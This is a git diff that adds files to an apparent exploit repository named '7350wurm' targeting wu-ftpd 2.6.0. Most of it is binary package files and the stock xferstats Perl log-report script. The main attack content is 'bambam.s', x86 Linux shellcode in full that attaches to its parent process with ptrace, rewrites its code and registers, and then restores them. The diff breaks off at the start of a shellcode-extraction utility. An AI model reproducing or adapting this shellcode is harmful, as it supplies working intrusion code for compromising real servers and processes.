diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpwho.1.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpwho.1.gz new file mode 100644 index 0000000..f8abca0 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man1/ftpwho.1.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpaccess.5.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpaccess.5.gz new file mode 100644 index 0000000..a77e3cf --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpaccess.5.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpconversions.5.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpconversions.5.gz new file mode 100644 index 0000000..dbfb252 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpconversions.5.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftphosts.5.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftphosts.5.gz new file mode 100644 index 0000000..78c186d --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftphosts.5.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpservers.5.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpservers.5.gz new file mode 100644 index 0000000..e8a83eb --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/ftpservers.5.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/xferlog.5.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/xferlog.5.gz new file mode 100644 index 0000000..e3be34e --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man5/xferlog.5.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpd.8.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpd.8.gz new file mode 100644 index 0000000..5133a64 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpd.8.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftprestart.8.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftprestart.8.gz new file mode 100644 index 0000000..0b3a698 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftprestart.8.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpshut.8.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpshut.8.gz new file mode 100644 index 0000000..1d425e5 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/ftpshut.8.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/privatepw.8.gz b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/privatepw.8.gz new file mode 100644 index 0000000..e5204dd --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/man/man8/privatepw.8.gz | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ckconfig b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ckconfig new file mode 100755 index 0000000..63b1333 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ckconfig | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftprestart b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftprestart new file mode 100755 index 0000000..7cabc89 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftprestart | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftpshut b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftpshut new file mode 100755 index 0000000..e14dca9 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/ftpshut | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.ftpd b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.ftpd new file mode 100755 index 0000000..7e51b81 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.ftpd | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.wuftpd b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.wuftpd new file mode 120000 index 0000000..e922eaf --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/in.wuftpd | |||
| @@ -0,0 +1 @@ | |||
| in.ftpd \ No newline at end of file | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/privatepw b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/privatepw new file mode 100755 index 0000000..cd2aa6a --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/privatepw | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/wu.ftpd b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/wu.ftpd new file mode 120000 index 0000000..e922eaf --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/wu.ftpd | |||
| @@ -0,0 +1 @@ | |||
| in.ftpd \ No newline at end of file | |||
diff --git a/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/xferstats b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/xferstats new file mode 100755 index 0000000..6bb1640 --- /dev/null +++ b/exploits/7350wurm/rpm/wu-ftpd-2.6.0/usr/sbin/xferstats | |||
| @@ -0,0 +1,338 @@ | |||
| 1 | #! /usr/bin/perl | ||
| 2 | # | ||
| 3 | # Copyright (c) 1999 WU-FTPD Development Group. | ||
| 4 | # All rights reserved. | ||
| 5 | # | ||
| 6 | # Portions Copyright (c) 1980, 1985, 1988, 1989, 1990, 1991, 1993, 1994 | ||
| 7 | # The Regents of the University of California. | ||
| 8 | # Portions Copyright (c) 1993, 1994 Washington University in Saint Louis. | ||
| 9 | # Portions Copyright (c) 1989 Massachusetts Institute of Technology. | ||
| 10 | # Portions Copyright (c) 1998 Sendmail, Inc. | ||
| 11 | # Portions Copyright (c) 1983, 1995, 1996, 1997 Eric P. Allman. | ||
| 12 | # Portions Copyright (c) 1996, 1998 Berkeley Software Design, Inc. | ||
| 13 | # Portions Copyright (C) 1991, 1992, 1993, 1994, 1995 1996, 1997 | ||
| 14 | # Free Software Foundation, Inc. | ||
| 15 | # Portions Copyright (c) 1997 Stan Barber. | ||
| 16 | # Portions Copyright (c) 1997 Kent Landfield. | ||
| 17 | # | ||
| 18 | # Use and distribution of this software and its source code are governed by | ||
| 19 | # the terms and conditions of the WU-FTPD Software License ("LICENSE"). | ||
| 20 | # | ||
| 21 | # If you did not receive a copy of the license, it may be obtained online at | ||
| 22 | # http://www.wu-ftpd.org/license.html. | ||
| 23 | # | ||
| 24 | # $Id: xferstats,v 1.4 1999/08/27 14:07:36 wuftpd Exp $ | ||
| 25 | # | ||
| 26 | # --------------------------------------------------------------------------- | ||
| 27 | # | ||
| 28 | # USAGE: xferstats <options> | ||
| 29 | # | ||
| 30 | # OPTIONS: | ||
| 31 | # -f <filename> Use <filename> for the log file | ||
| 32 | # -r include real users | ||
| 33 | # -a include anonymous users | ||
| 34 | # -h include report on hourly traffic | ||
| 35 | # -d include report on domain traffic | ||
| 36 | # -t report on total traffic by section | ||
| 37 | # -D <domain> report only on traffic from <domain> | ||
| 38 | # -l <depth> Depth of path detail for sections | ||
| 39 | # -s <section> Section to report on, For example: -s /pub will report | ||
| 40 | # only on paths under /pub | ||
| 41 | # | ||
| 42 | # --------------------------------------------------------------------------- | ||
| 43 | # | ||
| 44 | # edit the next two lines to customize for your domain. | ||
| 45 | # This will allow your domain to be seperated in the domain listing. | ||
| 46 | $hostname = `hostname`; | ||
| 47 | $hostname =~ y/A-Z/a-z/; | ||
| 48 | @DomainName = split /\./, $hostname; | ||
| 49 | $mydom2 = pop(@DomainName); | ||
| 50 | $mydom1 = pop(@DomainName); | ||
| 51 | # edit the next line to customize for your default log file | ||
| 52 | $usage_file = "/var/log/xferlog"; | ||
| 53 | |||
| 54 | # Edit the following lines for default report settings. | ||
| 55 | # Entries defined here will be over-ridden by the command line. | ||
| 56 | |||
| 57 | $opt_h = 1; | ||
| 58 | $opt_d = 0; | ||
| 59 | $opt_t = 1; | ||
| 60 | $opt_l = 3; | ||
| 61 | |||
| 62 | require 'getopts.pl'; | ||
| 63 | &Getopts('f:rahdD:l:s:'); | ||
| 64 | |||
| 65 | if ($opt_r) { $real = 1;} | ||
| 66 | if ($opt_a) { $anon = 1;} | ||
| 67 | if ($real == 0 && $anon == 0) { $anon = 1; } | ||
| 68 | if ($opt_f) {$usage_file = $opt_f;} | ||
| 69 | |||
| 70 | open (LOG,$usage_file) || die "Error opening usage log file: $usage_file\n"; | ||
| 71 | |||
| 72 | if ($opt_D) {print "Transfer Totals include the '$opt_D' domain only.\n"; | ||
| 73 | print "All other domains are filtered out for this report.\n\n";} | ||
| 74 | |||
| 75 | if ($opt_s) {print "Transfer Totals include the '$opt_s' section only.\n"; | ||
| 76 | print "All other sections are filtered out for this report.\n\n";} | ||
| 77 | |||
| 78 | line: while (<LOG>) { | ||
| 79 | |||
| 80 | @line = split; | ||
| 81 | next if ($#line < 16); | ||
| 82 | next if (!$anon && $line[12] eq "a"); | ||
| 83 | next if (!$real && $line[12] eq "r"); | ||
| 84 | |||
| 85 | $daytime = substr($_, 0, 10) . substr($_, 19, 5); | ||
| 86 | $time = substr($_,11,2); | ||
| 87 | |||
| 88 | if ($line[8] eq "\.") { $line[8] = "/unreadable/filename";} | ||
| 89 | next if (substr($line[8],0,length("$opt_s")) ne "$opt_s"); | ||
| 90 | $line[8] = substr($line[8],length("$opt_s")); | ||
| 91 | @path = split(/\//, $line[8]); | ||
| 92 | |||
| 93 | # | ||
| 94 | # Why was the original xferstats dropping leading 1 character path | ||
| 95 | # segments??? | ||
| 96 | # | ||
| 97 | # while (length($path[1]) <= 1) { | ||
| 98 | # shift @path; | ||
| 99 | # next line if ($#path == -1); | ||
| 100 | # } | ||
| 101 | |||
| 102 | # Things in the top-level directory are assumed to be informational files | ||
| 103 | |||
| 104 | if ($#path == 1) | ||
| 105 | { $pathkey = "Index/Informational Files"; } | ||
| 106 | else { | ||
| 107 | $pathkey = ""; | ||
| 108 | for ($i=1; $i <= $#path-1 && $i <= $opt_l;$i++) { | ||
| 109 | $pathkey = $pathkey . "/" . $path[$i]; | ||
| 110 | } | ||
| 111 | } | ||
| 112 | |||
| 113 | $line[6] =~ tr/A-Z/a-z/; | ||
| 114 | $systemfiles{$line[6]}++; | ||
| 115 | |||
| 116 | @address = split(/\./, $line[6]); | ||
| 117 | |||
| 118 | $domain = $address[$#address]; | ||
| 119 | if ($domain eq "$mydom2" && $address[$#address-1] eq "$mydom1") | ||
| 120 | { $domain = $mydom1 . "." . $mydom2; } | ||
| 121 | if ( @address < 2 || | ||
| 122 | (substr($address[0],0,1) ge "0" && substr($address[0],0,1) le "9")) | ||
| 123 | { $domain = "unresolved"; } | ||
| 124 | |||
| 125 | $count = 1; | ||
| 126 | if ($opt_D) | ||
| 127 | {if (substr($domain,0,length("$opt_D")) eq "$opt_D" ) { $count = 1;} else | ||
| 128 | {$count = 0;} | ||
| 129 | } | ||
| 130 | |||
| 131 | |||
| 132 | if ($count) { | ||
| 133 | |||
| 134 | $xferfiles++; # total files sent | ||
| 135 | $xfertfiles++; # total files sent | ||
| 136 | $xferfiles{$daytime}++; # files per day | ||
| 137 | $groupfiles{$pathkey}++; # per-group accesses | ||
| 138 | $domainfiles{$domain}++; | ||
| 139 | |||
| 140 | $xfersecs{$daytime} += $line[5]; # xmit seconds per day | ||
| 141 | $domainsecs{$domain} += $line[5]; # xmit seconds for domain | ||
| 142 | $xferbytes{$daytime} += $line[7]; # bytes per day | ||
| 143 | $domainbytes{$domain} += $line[7]; # xmit bytes to domain | ||
| 144 | $xferbytes += $line[7]; # total bytes sent | ||
| 145 | $groupbytes{$pathkey} += $line[7]; # per-group bytes sent | ||
| 146 | |||
| 147 | $xfertfiles{$time}++; # files per hour | ||
| 148 | $xfertsecs{$time} += $line[5]; # xmit seconds per hour | ||
| 149 | $xfertbytes{$time} += $line[7]; # bytes per hour | ||
| 150 | $xfertbytes += $line[7]; # total bytes sent | ||
| 151 | } | ||
| 152 | } | ||
| 153 | close LOG; | ||
| 154 | |||
| 155 | @syslist = keys(systemfiles); | ||
| 156 | @dates = sort datecompare keys(xferbytes); | ||
| 157 | |||
| 158 | if ($xferfiles == 0) {die "There was no data to process.\n";} | ||
| 159 | |||
| 160 | |||
| 161 | print "TOTALS FOR SUMMARY PERIOD ", $dates[0], " TO ", $dates[$#dates], "\n\n"; | ||
| 162 | printf ("Files Transmitted During Summary Period %12.0f\n", $xferfiles); | ||
| 163 | printf ("Bytes Transmitted During Summary Period %12.0f\n", $xferbytes); | ||
| 164 | printf ("Systems Using Archives %12.0f\n\n", $#syslist+1); | ||
| 165 | |||
| 166 | printf ("Average Files Transmitted Daily %12.0f\n", | ||
| 167 | $xferfiles / ($#dates + 1)); | ||
| 168 | printf ("Average Bytes Transmitted Daily %12.0f\n", | ||
| 169 | $xferbytes / ($#dates + 1)); | ||
| 170 | |||
| 171 | format top1 = | ||
| 172 | |||
| 173 | Daily Transmission Statistics | ||
| 174 | |||
| 175 | Number Of Number of Average Percent Of Percent Of | ||
| 176 | Date Files Sent Bytes Sent Xmit Rate Files Sent Bytes Sent | ||
| 177 | --------------- ---------- ----------- ---------- ---------- ---------- | ||
| 178 | . | ||
| 179 | |||
| 180 | format line1 = | ||
| 181 | @<<<<<<<<<<<<<< @>>>>>>>>> @>>>>>>>>>> @>>>>>>>>> @>>>>>>> @>>>>>>> | ||
| 182 | $date, $nfiles, $nbytes, $avgrate, $pctfiles, $pctbytes | ||
| 183 | . | ||
| 184 | |||
| 185 | $^ = top1; | ||
| 186 | $~ = line1; | ||
| 187 | |||
| 188 | foreach $date ( sort datecompare keys(xferbytes) ) { | ||
| 189 | |||
| 190 | $nfiles = $xferfiles{$date}; | ||
| 191 | $nbytes = $xferbytes{$date}; | ||
| 192 | $avgrate = sprintf("%5.1f KB/s", $xferbytes{$date}/$xfersecs{$date}/1000); | ||
| 193 | $pctfiles = sprintf("%8.2f", 100*$xferfiles{$date} / $xferfiles); | ||
| 194 | $pctbytes = sprintf("%8.2f", 100*$xferbytes{$date} / $xferbytes); | ||
| 195 | write; | ||
| 196 | } | ||
| 197 | |||
| 198 | if ($opt_t) { | ||
| 199 | format top2 = | ||
| 200 | |||
| 201 | Total Transfers from each Archive Section (By bytes) | ||
| 202 | |||
| 203 | ---- Percent Of ---- | ||
| 204 | Archive Section Files Sent Bytes Sent Files Sent Bytes Sent | ||
| 205 | ------------------------- ---------- ----------- ---------- ---------- | ||
| 206 | . | ||
| 207 | |||
| 208 | format line2 = | ||
| 209 | @<<<<<<<<<<<<<<<<<<<<<<<< @>>>>>>>>> @>>>>>>>>>> @>>>>>>> @>>>>>>> | ||
| 210 | $section, $files, $bytes, $pctfiles, $pctbytes | ||
| 211 | . | ||
| 212 | |||
| 213 | $| = 1; | ||
| 214 | $- = 0; | ||
| 215 | $^ = top2; | ||
| 216 | $~ = line2; | ||
| 217 | |||
| 218 | foreach $section ( sort bytecompare keys(groupfiles) ) { | ||
| 219 | |||
| 220 | $files = $groupfiles{$section}; | ||
| 221 | $bytes = $groupbytes{$section}; | ||
| 222 | $pctbytes = sprintf("%8.2f", 100 * $groupbytes{$section} / $xferbytes); | ||
| 223 | $pctfiles = sprintf("%8.2f", 100 * $groupfiles{$section} / $xferfiles); | ||
| 224 | write; | ||
| 225 | |||
| 226 | } | ||
| 227 | |||
| 228 | if ( $xferfiles < 1 ) { $xferfiles = 1; } | ||
| 229 | if ( $xferbytes < 1 ) { $xferbytes = 1; } | ||
| 230 | } | ||
| 231 | |||
| 232 | if ($opt_d) { | ||
| 233 | format top3 = | ||
| 234 | |||
| 235 | Total Transfer Amount By Domain | ||
| 236 | |||
| 237 | Number Of Number of Average Percent Of Percent Of | ||
| 238 | Domain Name Files Sent Bytes Sent Xmit Rate Files Sent Bytes Sent | ||
| 239 | ----------- ---------- ------------ ---------- ---------- ---------- | ||
| 240 | . | ||
| 241 | |||
| 242 | format line3 = | ||
| 243 | @<<<<<<<<<< @>>>>>>>>> @>>>>>>>>>>> @>>>>>>>>> @>>>>>>> @>>>>>>> | ||
| 244 | $domain, $files, $bytes, $avgrate, $pctfiles, $pctbytes | ||
| 245 | . | ||
| 246 | |||
| 247 | $- = 0; | ||
| 248 | $^ = top3; | ||
| 249 | $~ = line3; | ||
| 250 | |||
| 251 | foreach $domain ( sort domnamcompare keys(domainfiles) ) { | ||
| 252 | |||
| 253 | if ( $domainsecs{$domain} < 1 ) { $domainsecs{$domain} = 1; } | ||
| 254 | |||
| 255 | $files = $domainfiles{$domain}; | ||
| 256 | $bytes = $domainbytes{$domain}; | ||
| 257 | $avgrate = sprintf("%5.1f KB/s", | ||
| 258 | $domainbytes{$domain}/$domainsecs{$domain}/1000); | ||
| 259 | $pctfiles = sprintf("%8.2f", 100 * $domainfiles{$domain} / $xferfiles); | ||
| 260 | $pctbytes = sprintf("%8.2f", 100 * $domainbytes{$domain} / $xferbytes); | ||
| 261 | write; | ||
| 262 | |||
| 263 | } | ||
| 264 | |||
| 265 | print "\n"; | ||
| 266 | print "These figures only reflect ANONYMOUS FTP transfers. There are many\n"; | ||
| 267 | print "sites which mount the archives via NFS, and those transfers are not\n"; | ||
| 268 | print "logged and reported by this program.\n\n"; | ||
| 269 | |||
| 270 | } | ||
| 271 | |||
| 272 | if ($opt_h) { | ||
| 273 | |||
| 274 | format top8 = | ||
| 275 | |||
| 276 | Hourly Transmission Statistics | ||
| 277 | |||
| 278 | Number Of Number of Average Percent Of Percent Of | ||
| 279 | Time Files Sent Bytes Sent Xmit Rate Files Sent Bytes Sent | ||
| 280 | --------------- ---------- ----------- ---------- ---------- ---------- | ||
| 281 | . | ||
| 282 | |||
| 283 | format line8 = | ||
| 284 | @<<<<<<<<<<<<<< @>>>>>>>>> @>>>>>>>>>> @>>>>>>>>> @>>>>>>> @>>>>>>> | ||
| 285 | $time, $nfiles, $nbytes, $avgrate, $pctfiles, $pctbytes | ||
| 286 | . | ||
| 287 | |||
| 288 | |||
| 289 | $| = 1; | ||
| 290 | $- = 0; | ||
| 291 | $^ = top8; | ||
| 292 | $~ = line8; | ||
| 293 | |||
| 294 | foreach $time ( sort keys(xfertbytes) ) { | ||
| 295 | |||
| 296 | $nfiles = $xfertfiles{$time}; | ||
| 297 | $nbytes = $xfertbytes{$time}; | ||
| 298 | $avgrate = sprintf("%5.1f KB/s", $xfertbytes{$time}/$xfertsecs{$time}/1000); | ||
| 299 | $pctfiles = sprintf("%8.2f", 100*$xfertfiles{$time} / $xferfiles); | ||
| 300 | $pctbytes = sprintf("%8.2f", 100*$xfertbytes{$time} / $xferbytes); | ||
| 301 | write; | ||
| 302 | } | ||
| 303 | } | ||
| 304 | exit(0); | ||
| 305 | |||
| 306 | sub datecompare { | ||
| 307 | |||
| 308 | $date1 = substr($a, 11, 4) * 4800; | ||
| 309 | $date2 = substr($b, 11, 4) * 4800; | ||
| 310 | $date1 += index("JanFebMarAprMayJunJulAugSepOctNovDec",substr($a, 4, 3))*100; | ||
| 311 | $date2 += index("JanFebMarAprMayJunJulAugSepOctNovDec",substr($b, 4, 3))*100; | ||
| 312 | $date1 += substr($a, 8, 2); | ||
| 313 | $date2 += substr($b, 8, 2); | ||
| 314 | $date1 - $date2; | ||
| 315 | |||
| 316 | } | ||
| 317 | |||
| 318 | sub domnamcompare { | ||
| 319 | |||
| 320 | $sdiff = length($a) - length($b); | ||
| 321 | ($sdiff < 0) ? -1 : ($sdiff > 0) ? 1 : ($a lt $b) ? -1 : ($a gt $b) ? 1 : 0; | ||
| 322 | |||
| 323 | } | ||
| 324 | |||
| 325 | sub bytecompare { | ||
| 326 | |||
| 327 | $bdiff = $groupbytes{$b} - $groupbytes{$a}; | ||
| 328 | ($bdiff < 0) ? -1 : ($bdiff > 0) ? 1 : ($a lt $b) ? -1 : ($a gt $b) ? 1 : 0; | ||
| 329 | |||
| 330 | } | ||
| 331 | |||
| 332 | sub faccompare { | ||
| 333 | |||
| 334 | $fdiff = $fac{$b} - $fac{$a}; | ||
| 335 | ($fdiff < 0) ? -1 : ($fdiff > 0) ? 1 : ($a lt $b) ? -1 : ($a gt $b) ? 1 : 0; | ||
| 336 | |||
| 337 | } | ||
| 338 | |||
diff --git a/exploits/7350wurm/shellcode/bambam.s b/exploits/7350wurm/shellcode/bambam.s new file mode 100644 index 0000000..5719ed7 --- /dev/null +++ b/exploits/7350wurm/shellcode/bambam.s | |||
| @@ -0,0 +1,230 @@ | |||
| 1 | |||
| 2 | .globl cbegin | ||
| 3 | .globl cend | ||
| 4 | |||
| 5 | |||
| 6 | cbegin: | ||
| 7 | /* getppid */ | ||
| 8 | pushl $64 | ||
| 9 | popl %eax | ||
| 10 | int $0x80 | ||
| 11 | /* movl %eax, %ecx */ | ||
| 12 | pushl %eax | ||
| 13 | xchgl %ebp, %eax | ||
| 14 | |||
| 15 | /* z_fork */ | ||
| 16 | pushl $2 | ||
| 17 | popl %eax | ||
| 18 | int $0x80 | ||
| 19 | or %eax, %eax | ||
| 20 | je fchild | ||
| 21 | |||
| 22 | /* waitpid (pid, NULL, 0) */ | ||
| 23 | pushl $7 | ||
| 24 | popl %esi | ||
| 25 | xchgl %esi, %eax /* eax = 7, esi = ppid */ | ||
| 26 | xorl %ecx, %ecx | ||
| 27 | xorl %edx, %edx | ||
| 28 | int $0x80 | ||
| 29 | |||
| 30 | xorl %eax, %eax | ||
| 31 | movb $162, %al | ||
| 32 | pushl $10 | ||
| 33 | pushl $10 | ||
| 34 | movl %esp, %ebx | ||
| 35 | movl %esp, %ecx | ||
| 36 | int $0x80 | ||
| 37 | ui: | ||
| 38 | jmp ui | ||
| 39 | /* exit */ | ||
| 40 | fexit: | ||
| 41 | |||
| 42 | pushl $1 | ||
| 43 | popl %eax | ||
| 44 | xorl %ebx, %ebx | ||
| 45 | int $0x80 | ||
| 46 | |||
| 47 | /*** CHILD ***/ | ||
| 48 | fchild: pushl $2 /* second fork */ | ||
| 49 | popl %eax | ||
| 50 | int $0x80 | ||
| 51 | |||
| 52 | or %eax, %eax | ||
| 53 | jne fexit | ||
| 54 | |||
| 55 | popl %ecx /* parent process pid */ | ||
| 56 | /* ptrace attach */ | ||
| 57 | pushl $26 | ||
| 58 | popl %eax | ||
| 59 | cdq | ||
| 60 | pushl $16 | ||
| 61 | popl %ebx | ||
| 62 | xorl %esi, %esi | ||
| 63 | int $0x80 | ||
| 64 | |||
| 65 | /* ptrace peekdata */ | ||
| 66 | movl $0x08048210, %edx | ||
| 67 | /* movl $0xbf7ff010, %edx */ | ||
| 68 | movl $0xbffff010, %esi | ||
| 69 | pushl $127 | ||
| 70 | popl %edi | ||
| 71 | loopa: | ||
| 72 | movl %ebp, %ecx | ||
| 73 | pushl $26 | ||
| 74 | popl %eax | ||
| 75 | pushl $2 | ||
| 76 | popl %ebx | ||
| 77 | pushl %edi | ||
| 78 | int $0x80 | ||
| 79 | popl %edi | ||
| 80 | incl %edx | ||
| 81 | incl %esi | ||
| 82 | decl %edi | ||
| 83 | jnz loopa | ||
| 84 | |||
| 85 | /* ptrace getregs */ | ||
| 86 | movl %ebp, %ecx | ||
| 87 | pushl $26 | ||
| 88 | popl %eax | ||
| 89 | pushl $12 | ||
| 90 | popl %ebx | ||
| 91 | pusha | ||
| 92 | movl %esp, %esi | ||
| 93 | int $0x80 | ||
| 94 | |||
| 95 | /* ptrace setregs */ | ||
| 96 | movl %ebp, %ecx | ||
| 97 | pushl $26 | ||
| 98 | popl %eax | ||
| 99 | pushl $13 | ||
| 100 | popl %ebx | ||
| 101 | movl %esp, %esi | ||
| 102 | movl 48(%esi), %edi | ||
| 103 | pushl %edi | ||
| 104 | movl $0x08048210, 48(%esi) | ||
| 105 | /* movl $0xbf7ff010, 48(%esi)*/ | ||
| 106 | int $0x80 | ||
| 107 | |||
| 108 | jmp pointX | ||
| 109 | pointY: | ||
| 110 | |||
| 111 | popl %esi | ||
| 112 | movl $0x08048210, %edx | ||
| 113 | pushl $20 | ||
| 114 | popl %edi | ||
| 115 | loopc: | ||
| 116 | movl %ebp, %ecx | ||
| 117 | pushl $26 | ||
| 118 | popl %eax | ||
| 119 | pushl $5 | ||
| 120 | popl %ebx | ||
| 121 | pushl %edi | ||
| 122 | pushl %esi | ||
| 123 | movl (%esi), %esi | ||
| 124 | int $0x80 | ||
| 125 | popl %esi | ||
| 126 | popl %edi | ||
| 127 | incl %edx | ||
| 128 | incl %esi | ||
| 129 | decl %edi | ||
| 130 | jnz loopc | ||
| 131 | |||
| 132 | |||
| 133 | /* ptrace pokedata */ | ||
| 134 | /* movl %ebp, %ecx | ||
| 135 | pushl $26 | ||
| 136 | popl %eax | ||
| 137 | pushl $5 | ||
| 138 | popl %ebx | ||
| 139 | movl $0xccccfeeb, %esi*/ | ||
| 140 | /* movl $0xbf7ff010, %edx*/ | ||
| 141 | movl $0x08048210, %edx | ||
| 142 | /* int $0x80*/ | ||
| 143 | |||
| 144 | /*ptrace cont */ | ||
| 145 | movl %ebp, %ecx | ||
| 146 | pushl $26 | ||
| 147 | popl %eax | ||
| 148 | cdq | ||
| 149 | pushl $7 | ||
| 150 | popl %ebx | ||
| 151 | xorl %esi, %esi | ||
| 152 | int $0x80 | ||
| 153 | |||
| 154 | /* wait 4 */ | ||
| 155 | /* 0 on return */ | ||
| 156 | cdq | ||
| 157 | movl %eax, %ebx | ||
| 158 | decl %ebx | ||
| 159 | movl %eax, %ecx | ||
| 160 | movb $114, %al | ||
| 161 | int $0x80 | ||
| 162 | |||
| 163 | /* ptrace pokedata */ | ||
| 164 | movl $0x08048210, %edx | ||
| 165 | movl $0xbffff010, %esi | ||
| 166 | /* movl $0xbf7ff010, %edx*/ | ||
| 167 | pushl $127 | ||
| 168 | popl %edi | ||
| 169 | loopb: | ||
| 170 | movl %ebp, %ecx | ||
| 171 | pushl $26 | ||
| 172 | popl %eax | ||
| 173 | pushl $5 | ||
| 174 | popl %ebx | ||
| 175 | pushl %edi | ||
| 176 | pushl %esi | ||
| 177 | movl (%esi), %esi | ||
| 178 | int $0x80 | ||
| 179 | popl %esi | ||
| 180 | popl %edi | ||
| 181 | incl %edx | ||
| 182 | incl %esi | ||
| 183 | decl %edi | ||
| 184 | jnz loopb | ||
| 185 | |||
| 186 | /* ptrace setregs */ | ||
| 187 | popl %edi | ||
| 188 | movl %ebp, %ecx | ||
| 189 | pushl $26 | ||
| 190 | popl %eax | ||
| 191 | pushl $13 | ||
| 192 | popl %ebx | ||
| 193 | movl %esp, %esi | ||
| 194 | movl %edi, 48(%esi) | ||
| 195 | int $0x80 | ||
| 196 | |||
| 197 | |||
| 198 | /* ptrace detach */ | ||
| 199 | movl %ebp, %ecx | ||
| 200 | pushl $17 | ||
| 201 | popl %ebx | ||
| 202 | pushl $26 | ||
| 203 | popl %eax | ||
| 204 | cdq | ||
| 205 | movl %edx, %esi | ||
| 206 | int $0x80 | ||
| 207 | /* exit */ | ||
| 208 | xorl %ecx, %ecx | ||
| 209 | incl %esi | ||
| 210 | xchgl %esi, %eax | ||
| 211 | int $0x80 | ||
| 212 | pointX: | ||
| 213 | call pointY | ||
| 214 | |||
| 215 | pushl $2 /* second fork */ | ||
| 216 | popl %eax | ||
| 217 | int $0x80 | ||
| 218 | or %eax, %eax | ||
| 219 | je pointA | ||
| 220 | int $0x3 | ||
| 221 | pointA: | ||
| 222 | jmp pointA | ||
| 223 | |||
| 224 | |||
| 225 | |||
| 226 | |||
| 227 | |||
| 228 | cend: | ||
| 229 | |||
| 230 | |||
diff --git a/exploits/7350wurm/shellcode/codedump b/exploits/7350wurm/shellcode/codedump new file mode 100644 index 0000000..d442fa7 --- /dev/null +++ b/exploits/7350wurm/shellcode/codedump | |||
| Binary files differ | |||
diff --git a/exploits/7350wurm/shellcode/codedump.c b/exploits/7350wurm/shellcode/codedump.c new file mode 100644 index 0000000..9494b9e --- /dev/null +++ b/exploits/7350wurm/shellcode/codedump.c | |||
| @@ -0,0 +1,93 @@ | |||
| 1 | /* shellcode extraction utility, | ||
| 2 | * by type / teso, small mods by scut. | ||
| 3 | */ | ||
| 4 | |||
| 5 | |||
| 6 | #include <stdio.h> | ||
| 7 | #include <stdlib.h> | ||
